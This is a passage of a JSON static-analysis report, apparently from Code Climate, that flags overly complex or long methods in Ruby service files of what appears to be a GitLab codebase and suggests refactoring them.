understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute_without_lease` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"67cb8ef6b0457ad00d8347bcbe3ff3f7","location":{"path":"app/services/users/refresh_authorized_projects_service.rb","lines":{"begin":50,"end":71}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update_authorizations` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6e70e1ba1ea2f084af1fff74047fe8d9","location":{"path":"app/services/users/refresh_authorized_projects_service.rb","lines":{"begin":77,"end":88}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d9165689bde9f912aa84f6f518e598da","location":{"path":"app/services/users/build_service.rb","lines":{"begin":14,"end":36}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build_user_params` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"830b5807353157bd5e183aad25f2b282","location":{"path":"app/services/users/build_service.rb","lines":{"begin":88,"end":111}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `admin_create_params` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"fe5ddceb25aafe04827303d1f6d564b4","location":{"path":"app/services/users/build_service.rb","lines":{"begin":45,"end":74}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5bc79f55d7e462657e85385bf64c461b","location":{"path":"app/services/submit_usage_ping_service.rb","lines":{"begin":16,"end":34}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"eff6af7a39548e896b0c36625e41edfa","location":{"path":"app/services/validate_new_branch_service.rb","lines":{"begin":6,"end":20}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f26b8395f9bebcbbe601568ab87f1dac","location":{"path":"app/services/tags/create_service.rb","lines":{"begin":5,"end":32}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"009acc0cc8f2cad1eb48f996869cd8b3","location":{"path":"app/services/tags/destroy_service.rb","lines":{"begin":6,"end":29}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `close_issue` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"268f126190d57eeaaded69cfb25897c3","location":{"path":"app/services/issues/close_service.rb","lines":{"begin":20,"end":39}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `handle_changes` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ff12a5753d6bee667c95cfbc92416e03","location":{"path":"app/services/issues/update_service.rb","lines":{"begin":18,"end":56}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `handle_changes` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8b14e45d1c64f39d6eedb20d84843741","location":{"path":"app/services/issues/update_service.rb","lines":{"begin":18,"end":56}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `filter_assignee` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5691687cb00f6fd194e603429807185a","location":{"path":"app/services/issues/base_service.rb","lines":{"begin":35,"end":51}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `execute` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1a9702d3dc815e8d64756d8fb212f9b3","location":{"path":"app/services/web_hook_service.rb","lines":{"begin":24,"end":62}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `execute` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"4d9ca5643eb0d67f71faf5371f5ae764","location":{"path":"app/services/ci/create_pipeline_service.rb","lines":{"begin":15,"end":48}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b8c02fe4ca7afa344ed38920cbc647e3","location":{"path":"app/services/ci/retry_pipeline_service.rb","lines":{"begin":7,"end":28}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bc2e58626fb38ae2a635ad7504d1369f","location":{"path":"app/services/ci/stop_environments_service.rb","lines":{"begin":7,"end":18}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"617800a52fa424a1bcea1ed6a62b6793","location":{"path":"app/services/ci/register_job_service.rb","lines":{"begin":19,"end":66}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `execute` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"3c427dfa0dd24ca8d0170b6247260b87","location":{"path":"app/services/ci/register_job_service.rb","lines":{"begin":19,"end":66}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_label_ids` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d322faf3023b3e313c8abe2020cf59af","location":{"path":"app/services/issuable_base_service.rb","lines":{"begin":96,"end":111}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"139f887d96d46ca70a22e378422f8bc7","location":{"path":"app/services/issuable_base_service.rb","lines":{"begin":172,"end":224}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `IssuableBaseService` has 30 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"906133099e33d0679f4b8c65cc1eef9b","location":{"path":"app/services/issuable_base_service.rb","lines":{"begin":3,"end":319}},"other_locations":[],"remediation_points":2200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `update` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"009042d6d3df2763254c61f2b3d8536c","location":{"path":"app/services/issuable_base_service.rb","lines":{"begin":172,"end":224}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build_event_data` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"181f03475858936500cb1903a2981922","location":{"path":"app/services/system_hooks_service.rb","lines":{"begin":22,"end":70}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build_event_name` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"58fb30a590bb73d7a7c014c15cff2f61","location":{"path":"app/services/system_hooks_service.rb","lines":{"begin":72,"end":83}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `build_event_data` has 41 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cb1f235466d69ba0f51ae5082e6ccd1b","location":{"path":"app/services/system_hooks_service.rb","lines":{"begin":22,"end":70}},"other_locations":[],"remediation_points":984000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `include_any_scope?` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c3b269346955ff77f7af249761778c5f","location":{"path":"app/services/access_token_validation_service.rb","lines":{"begin":33,"end":48}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b944cb228f06d17cfab396e042f46404","location":{"path":"app/services/create_deployment_service.rb","lines":{"begin":15,"end":29}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2a911c4e00c978f2c3dee8a80d2b123c","location":{"path":"app/services/members/destroy_service.rb","lines":{"begin":5,"end":23}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3e17107f5166483e06d9a3aa43ce4057","location":{"path":"app/services/delete_branch_service.rb","lines":{"begin":4,"end":23}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `can_be_resolved_in_ui?` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"303b72ed1619302f77225ae41471638d","location":{"path":"app/services/merge_requests/conflicts/list_service.rb","lines":{"begin":15,"end":23}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `reload_merge_requests` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a105139484033c8e7ced10c6ce36e8db","location":{"path":"app/services/merge_requests/refresh_service.rb","lines":{"begin":80,"end":106}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_new_commits` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"851ed172a4510d8303c8caf10c7c09e1","location":{"path":"app/services/merge_requests/refresh_service.rb","lines":{"begin":119,"end":141}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `trigger` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8627834675a31ad536bf412edaafd7e7","location":{"path":"app/services/merge_requests/merge_when_pipeline_succeeds_service.rb","lines":{"begin":24,"end":33}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 